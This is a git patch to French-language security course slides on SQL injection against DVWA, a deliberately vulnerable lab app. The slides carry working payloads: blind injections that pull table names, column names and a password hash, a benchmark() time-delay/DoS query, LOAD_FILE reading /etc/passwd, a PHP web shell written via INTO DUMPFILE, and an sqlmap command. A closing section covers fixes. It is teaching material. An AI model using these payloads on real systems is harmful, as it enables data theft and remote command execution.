From 655ba0f0af8a6c2f3d423c63d667dd59208c0134 Mon Sep 17 00:00:00 2001 From: Vincent Mazenod <vmazenod@gmail.com> Date: Sat, 8 Jul 2023 15:51:25 +0200 Subject: [PATCH] SQLi --- content/slides/1337/md/sqli.md | 180 +++++++++++++++------------------ 1 file changed, 84 insertions(+), 96 deletions(-) diff --git a/content/slides/1337/md/sqli.md b/content/slides/1337/md/sqli.md index d3e270f..2a5978c 100644 --- a/content/slides/1337/md/sqli.md +++ b/content/slides/1337/md/sqli.md @@ -18,7 +18,7 @@ ### <i class="fas fa-ice-cream"></i> SQLi / types -* [topologie](https://www.linkedin.com/grp/post/36874-130061102) +* [topologie](https://www.imperva.com/learn/application-security/sql-injection-sqli/#:~:text=SQL%20injections%20typically%20fall%20under,data%20and%20their%20damage%20potential) * [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * cas simple où les messages d'erreur base de données sont affichés @@ -175,7 +175,7 @@ User ID: 6 ... # ### <i class="fa-solid fa-bomb"></i> SQLi / high -Toutes la séquence SQLi / low est valide +Toute la séquence SQLi / low est valide ### <i class="fa-solid fa-bomb"></i> Blind SQLi / low @@ -251,148 +251,137 @@ déterminer le nom de la base de données ``` -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) - -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit -``` +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe - * DoS - * utile pour les vraies blind SQLi +déterminer le nom de la table +``` +1' AND ORD(MID((SELECT table_name +FROM INFORMATION_SCHEMA.TABLES +WHERE table_schema='dvwa' LIMIT 0,1),1,1)) = 103 # g +``` -## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) +déterminer le nombre de colonne de la table users -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit +``` +1' AND ORD(MID((SELECT COUNT(column_name) +FROM INFORMATION_SCHEMA.COLUMNS +WHERE table_name='users' +AND table_schema='dvwa'),1,1)) = 56 # 8 -> 56 => 8 ``` -affiche toutes le contenu du fichier /etc/passwd -```http -http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit -``` +### <i class="fa-solid fa-bomb"></i> Blind SQLi / low -écriture du fichier shell.php dans le système de fichiers +déterminer le nom des colonnes de la table users -```http -http://dv.wa/hackable/uploads/shell.php?cmd=ls ``` -execution de commandes systèmes avec les privilèges du thread apache - +1' AND ORD(MID((SELECT column_name +FROM INFORMATION_SCHEMA.COLUMNS +WHERE table_name='users' +AND table_schema='dvwa' LIMIT 4,1),1,1)) = 112 # p +``` -## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) +déterminer le hash d'un user -<i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium +``` +1' AND ORD(MID((SELECT password FROM dvwa.users +WHERE user='Pablo'),1,1)) = 48 # 0 +``` -* utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) - * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a. - * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés +### <i class="fa-solid fa-bomb"></i> Blind SQLi / medium -## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) +reprendre les étapes Blind SQLi / low en remplacant -```http -$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; +``` +User ID: 1' ... # ``` -devient +<i class="fa-solid fa-arrow-right-arrow-left"></i> -```http -$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; +``` +User ID: 1 ... # ``` +<small> -## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) +`table_schema='dvwa'` -donc l'injection du niveau low +<i class="fa-solid fa-arrow-right-arrow-left"></i> -```http -' OR user_id > 0# -``` +`table_schema=0x64767761` + +</small> -devient pour fonctionner au niveau medium -```http -1 OR user_id > 0# -``` -devient une fois encodée +### <i class="fa-solid fa-bomb"></i> Blind SQLi / high -```http -1%20OR%20user_id%20%3E%200 -``` +Toute la séquence Blind SQLi / low est valide -et s'injecte directement via l'url -```http -http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit -``` +### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based -Note: -- à saisir directement dans l'url -- utiliser plutôt l'encoder de burp -- sinon hackbar à comparer -- https://www.information-security.fr/dvwa-sql-injection-solutions-protections/ +* Si aucun output n'est disponible + * on ajoute du calcul artificiellement + * la **payload** est exécutée + * le temps de réponse = temps de traitement + temps de calcul artificiel + * la **payload** n'est pas exécutée + * le temps de réponse = temps de traitement +problématique similaire à une booléenne -## [SQLmap](http://sqlmap.org/) -* Fait tous le boulot à votre palce - * une ligne de commmande - * affiche des résultats propres - * abstrait - * le moteur de base de données - * les différentes techniques d'injections +### <i class="fa-solid fa-bomb"></i> True Blind SQLi / Time based -```http -sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables +``` +User ID: 1' AND 1=0 UNION SELECT NULL, +benchmark(5000000, encode('MSG', 'pass-phrase')) +FROM users # ``` -<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session +* chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe + * DoS + * utile pour les **True Blind SQLi** ou **Time Based** -### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/) +### <i class="fa-solid fa-bomb"></i> SQLi / Low -* on se concentre sur le user 1337 (id=3) - * on cherche à deviner son mot de passe +<i class="fa-solid fa-triangle-exclamation"></i> sous certaines conditions -```http -http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit ``` - -n'affiche rien!! en revanche - -```http -http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit +User ID: 6' UNION SELECT NULL, LOAD_FILE("/etc/passwd") # ``` -affiche +affiche tout le contenu du fichier /etc/passwd ``` -ID: 3' AND password LIKE '8% -First name: Hack -Surname: Me +User ID: 6' UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" + INTO DUMPFILE "/var/www/DVWA/hackable/uploads/shell.php" # ``` +écrit le fichier shell.php dans le système de fichiers -## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection) -* Si aucun output n'est disponible - * on ajoute du calcul artificiellement - * la **payload** est exécutée - * le temps de réponse = temps de traitement + temps de calcul artificiel - * la **payload** n'est pas exécutée - * le temps de réponse = temps de traitement +## <i class="fa-solid fa-screwdriver-wrench"></i> [SQLmap](http://sqlmap.org/) -problématique similaire à une booléenne +* Fait tous le boulot à votre palce + * en ligne de commmande + * affiche des résultats propres + * abstrait + * le moteur de base de données + * les différentes techniques d'injections -Note: -- discussion sur les vraies blind -- in fine même problème une fois scripter +```http +sqlmap --url "https://vm-etu-vimazeno.local.isima.fr/vulnerabilities/sqli/?id= #;" +--cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" +--tables +``` + +<i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session -## <i class="fa fa-medkit"></i> Se préserver +### <i class="fa fa-medkit"></i> SQLi / Fix * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * Utiliser des requêtes préparées @@ -400,13 +389,13 @@ Note: * Être le plus silencieux possibles quant aux requêtes invalides * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) -* repérer les requêtes suspectes dans les logs +* Repérer les requêtes suspectes dans les logs Note: - TODO regarder si les messages sont désactiables à partir de MySQL -## <i class="fa fa-medkit"></i> Se préserver +### <i class="fa fa-medkit"></i> SQLi / Fix * Filtrage par listes blanches * caster @@ -416,12 +405,11 @@ Note: * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) -## <i class="fa fa-medkit"></i> Se préserver +### <i class="fa fa-medkit"></i> SQLi / Fix * Web Application Firewall (WAF) * [mod_security](https://www.modsecurity.org/) - * log le POST - * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) + * <i class="fas fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) * Les privilèges de l'utilisateur SQL ont un sens * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) * attention aux permissions sur la base de données -- GitLab